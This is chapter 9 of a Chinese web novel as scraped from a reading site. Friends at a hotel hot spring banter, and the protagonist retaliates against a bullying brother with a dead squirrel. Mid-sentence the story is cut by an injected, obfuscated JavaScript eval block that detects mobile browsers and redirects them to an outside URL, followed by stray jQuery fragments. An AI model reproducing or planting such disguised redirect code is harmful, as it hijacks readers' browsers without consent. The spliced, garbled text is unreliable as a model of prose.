默认冷灰
24号文字
方正启体

9. 09

作者:连朔本书字数:K更新时间:
    去汤池的路上,姜季白无语地看向霍行洲:“你一天天的能不能别胡说八道。”


    还初吻双向奔赴,听着像他们俩有什么似的,幸好郁景辰知道他们的底细。


    “怎么,”霍行洲扯了扯唇,声线寡淡,“怕郁景辰误会?”


    “跟他有什么关系。”清醒之后,姜季白曾无数次复盘自己对郁景辰的感情。结果就是,他真的不喜欢他。


    幸好他从前只是在剧情的作用下,各种粘着郁景辰,并没有走到表白哪一步,要不然还不知道该怎么收场。


    “我就是担心传出谣言。”


    霍行洲乜他一眼:“想谈恋爱了?


    “怎么可能。”姜季白立马否认。


    他现在心如止水,满脑子想的都是任务。生怕哪一天在自己没察觉到的时候,穿红裤衩爬上顶楼。哪有工夫谈恋爱。


    “那不就得了,”霍行洲双手抄兜,一副满不在乎的样子,“爱传传,反正也没什么影响,况且——”他话锋一转,“不说点刺激的怎么让他走,还是你想继续在走廊里跟他谈天谈地谈姜烨?”


    那还是算了。


    姜季白瞬间偃旗息鼓。


    郁景辰对他是不错,但姜烨才是他朋友,他可不觉得自己比得过人家几十年的发小情。


    “你俩墨迹什么呢,过来啊,”陈驰海坐在中央最大的池子里,冲他们直挥手,“温泉蛋都快凉了。”


    梁家酒店设计得非常人性化。


    温泉池分室外和室内两部分,室外的又分成了大大小小无数个汤池。小的最多只能容纳两个人,为了兼顾隐私,在四周盖了凉亭,加上繁茂花木的掩映,从外面基本看不到里面。


    大的就是陈驰海现在呆着的这个。做了高低错落的岩洞和瀑布造景,水声潺潺,远远看过去白汽缭绕,很有仙境那味儿了。


    霍行洲接过他手里的鸡蛋,解开腰带,把浴袍挂到岸上的凉亭里,挑了个稍远的地方下了水。


    陈驰海:“?”


    陈驰海瞬间破防:“不是,洲哥你什么意思,嫌弃我?”


    霍行洲修长的手指捏着鸡蛋,轻轻一用力,薄脆的蛋壳就咔嚓一声碎了,露出里面软软弹弹的蛋清。他撩起眼皮扫了陈驰海一眼,把鸡蛋递给姜季白:“这不是照顾你的情绪,怕你自卑么。”


    陈驰海:“……”


    都是一米八多的大高个,他有的大长腿他也有,有什么可自卑的。陈驰海恨不得直接脱了泳衣,亮出身材和他好好比一比。


    然而看看自己软塌塌的小肚子,又看看他泳衣打湿后清晰可见的腹肌轮廓,瞬间萎了。


    算了,不跟他一般见识。


    母胎单身才需要孔雀开屏,自己一谈过无数次的老司机,跟他雄竞什么。


    陈驰海将手上的半个鸡蛋塞进嘴里,扫了眼霍行洲身后的姜季白。眼珠一转,计上心来:“季白来,坐我这边。他不是爱嘚瑟么,让他一个人在那嘚瑟,咱不打扰他。”


    姜季白不好当众拂他的意,下意识看向霍行洲。


    要是自己真过去了,他不会生气吧,觉得他们联合起来排挤他什么的……


    “随你,”霍行洲这次却表现得分外大度,很是通情达理的模样,一点儿也没让他为难,“想过去就过去。”


    姜季白松了口气。


    猜测他应该确实是想自己呆着,抬脚正要往陈驰海他们那边走,就听见了他幽幽的声音:“要记得之前是谁替你出了气,又是谁给你解的围。”


    姜季白:“……”


    就说狗东西怎么会忽然转性,原来在这等着他呢。


    陈驰海还在那喊:“过来啊季白,理他做什么。”


    霍行洲靠着池壁,一只手散漫地搭在边沿,好整以暇地看着他,似乎也在等他的答案。


    真是闲的。


    姜季白翻了个白眼,摆烂地往池子里一坐:“来来来,谁有锯借一把。把我锯成两半,你俩平分。”


    “哈哈哈哈艹,”陈驰海呛了一下,乐不可支,“真有你的。”


    霍行洲也扶着额头,低低笑了出来。


    谢明翰在一旁瞧够了热闹,举起酒瓶给姜季白倒了杯红酒:“尝尝这酒,老梁自己家酒庄产的,有三十年了。天底下独一份,他们都喝过,就剩你了。”


    姜季白从小在山里被放养着长大,回到姜家后又忙着学业。再加上姜家父母对他并不上心,那些豪门必修课基本没学过,压根不懂得怎么品鉴红酒。


    他端起来喝了一口,没觉出跟超市十九块九的有什么区别。但对上谢明翰殷殷的眼神,还是违心点了点头:“挺好喝的。”


    一旁,霍行洲把他装腔作势的模样尽收眼底,唇角忍不住溢出了点点笑意。


    “是吧,”谢明翰个马大哈什么都没察觉,咂咂嘴,遗憾道,“可惜就剩几瓶了,老梁轻易不肯拿出来,今天还是沾了酒店开业的光。诶老梁,你就大方点……”


    话说到一半,才发现梁睿没在池子里。


    “什么情况,”谢明翰环顾四周,诧异,“老梁呢?该不会怕我跟他要酒,提前跑了吧。”


    “你以为他是你?”陈驰海在他后脑勺上拍了一下,“去处理事情了,他们酒店一个什么社交种草agent出问题了。”


    社交种草agent就是一个ai小程序,宾客只要拿起手机扫一扫,就会在社交软件上自动生成种草笔记,十分方便。


    “他们不是试运营了好久?”郁景辰疑惑,“怎么还会出这种问题。”


    “之前都挺好的,今天不知道怎么忽然抽风了。”陈驰海喝了口酒,都替梁睿糟心,“偏偏写agent那个程序员休年假了,一直联系不上,简直了。”


    “这叫什么事,”谢明翰一言难尽,“他们公司就没有其他人能顶上?”


    “顶什么顶,”陈家虽然不做互联网,但陈驰海跟霍行洲混久了,多少也懂一些,“技术厉害的要么去做自动驾驶,要么去互联网大厂,谁来酒店啊。钱给的再多前景不好也不行。”


    “梁睿他们公司招的那几个人,除了写agent的这个,其他基本都是传统程序员转行过来的。理论一套一套的,一到实操就不行。这么点小事,整个部门折腾了一早上都没解决。”


    “那怎么办,”谢明翰发愁,“刚开业正是推广的时候,没有自动小程序,难不成让客人自己写推文?拉倒吧,反正是我我绝对不干。”


    他放下酒杯,还想说点什么,脑子里忽然灵光一闪:“洲哥,跟洲哥借人啊。星枢那么多大拿,随便拎出一个就行。”


    “还得是你啊,”陈驰海一拍巴掌,恍然大悟,“我这脑子!怎么就没想到呢,赶紧的洲哥……洲哥呢?他怎么也不在。”


    旁边有人说:“诺,池子前面的那棵树下打电话呢。”


    “行吧,”陈驰海叹息,“等他回来再说。”


    “费那个劲做什么。”一直冷眼旁观的姜烨忽然开了口,他似笑非笑瞥了姜季白一眼,“咱们这不是有个学计算机的高材生么,让他帮忙啊,那么多年大学总不能白念了吧。”


    刹那间,所有人的目光都看了过来。


    姜家两兄弟不太喜欢姜季白的消息,他们或多或少知道一点。但却没想到,这哪里是不太喜欢,分明是明晃晃的厌恶针对。


    不然一个当哥的,能在这种紧要时刻问都不问一句,就把亲弟弟拎出来架住了?


    “姜烨!”郁景辰头疼呵斥。


    他实在不明白,姜烨到底为什么对姜季白有那么大恶意。就算偏心姜棋,也不碍着他跟姜季白和平相处啊。


    “怎么了,”姜烨仿佛没察觉众人异样的眼神,端起酒杯喝了一口,吊儿郎当道,“看我做什么,我这不是在为睿哥想解决办法么。”


    他看向姜季白,“姜季白,你做不做得了?做不了直说,权当家里这些年供你


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484062|201916||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    读书的钱白花了。”


    “姜二你差不多得了。”陈驰海实在看不下去,冷声道,“你要是实在闲得慌,就去帮保洁扫扫地擦擦桌子刷刷马桶,别在这搞事。”


    妈的姜家人都是傻逼吧。


    不说真假少爷那事姜季白本就是受害者。他受了那么多年苦,他们这些外人看了都心疼,姜家这些跟他有血缘关系的不好好弥补就算了,还处处打压他贬低他。


    见过癫的,没见过这么癫的。


    跟霍行洲的恣意狂妄不同,陈驰海向来是个老好人,从不轻易发脾气。能让他说出这么重的话,姜烨也算是开天辟地头一份了。


    姜烨仿佛被当众狠扇了一耳光,脸腾的一下红了,却还在强自嘴硬:“我哪有搞事,驰海哥你不要太偏心。”


    陈驰海心说你算个什么东西,允许你喊哥都是抬举你了,还想跟季白比。


    “得了得了,回房间吧,别在这搅合了。”


    这已经不是委婉,而是直接打脸了。


    姜烨也是金尊玉贵长大的,暴脾气登时就压不住了。也不顾上什么得罪人不得罪人了,把手中的酒杯往池子里一摔,阴着脸往外走。


    走到一半,不经意往草丛中一瞥,看见了一只刚死不久的松鼠。


    他心中恶念顿起,也不知道哪来的胆子。走过去抬起腿,把死松鼠一脚朝姜季白踢了过去,这才觉得胸口哽着的那口气稍稍出了些许。


    姜烨真的讨厌死姜季白了。


    明明是一个从大山里走出来的土包子,来家的时候身上的泥点子都没洗干净,却处处压他一头。先是长相,然后是人缘,最后是学习成绩。


    每次听别人夸完姜季白,再意有所指地添一句:“比他们家那个只知道吃喝玩乐的老二可强多了。”他就想发疯。


    大哥以后是要继承家业的,比他厉害理所当然。


    姜季白这个半路回来的凭什么?!


    这么多年,他心里一直坠着块沉甸甸的大石头。五年前姜季白跟家里断绝关系出国的时候,这块石头松动了些许。放任不管,总有一天它会自行消散。


    可谁能想到,姜季白竟然又回来了。


    姜烨心中发狠,将死松鼠又往他身边踢了踢。造不成什么伤害,就纯纯恶心人。


    姜季白还没说话,其他人不干了。


    “姜烨你他妈是不是疯了?!掉池子里怎么办?”


    “妈耶!不会有病毒吧。赶紧的,让老梁找个保洁过来弄走。”


    “姜烨你真是病得不轻!”


    一片惊吓声中,姜烨大摇大摆路过姜季白,给了他一个轻蔑的眼神,正要继续往前。一道冷冷的声音传入耳里:“站住!”


    他转头,就见姜季白从池子里走出来,脱掉了身上的T恤。


    “怎么,”姜烨看他这动作,甩了甩手臂上的水,不屑道,“你还想打我?”


    最初的印象太深刻,哪怕这么久过去,姜季白在他心里,始终那个刚回到姜家、沉默寡言的瘦弱少年。


    那些年,仗着强壮的身体和爸妈的偏心,他明里暗里没少跟姜季白动手,姜季白没一次能在他手上讨到好。


    所以现在看到他这个架势,姜烨不但不害怕,反而觉得有点好笑。


    吓唬谁呢,当他不知道他有几斤几两。


    “打你?”姜季白在他面前站定,嫌恶道,“打你我都嫌手疼。”


    姜烨就是个贱皮子,打一百次也吃不到教训,没得浪费力气。


    “那你摆出这副模样给谁看呢,”姜烨嗤了一声,越发嚣张,“有本事直接上啊。”


    姜季白没理他,只用T恤包着手,弯腰捡起了那只死松鼠。


    “卧槽!”姜烨连忙后退一步,不敢置信,“你干什么?脏不脏啊,你……”


    一句话没说完,姜季白就上前一步。在他惊恐的目光中,薅住他的头发,毫不犹豫地将那只死松鼠怼进了他嘴里。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)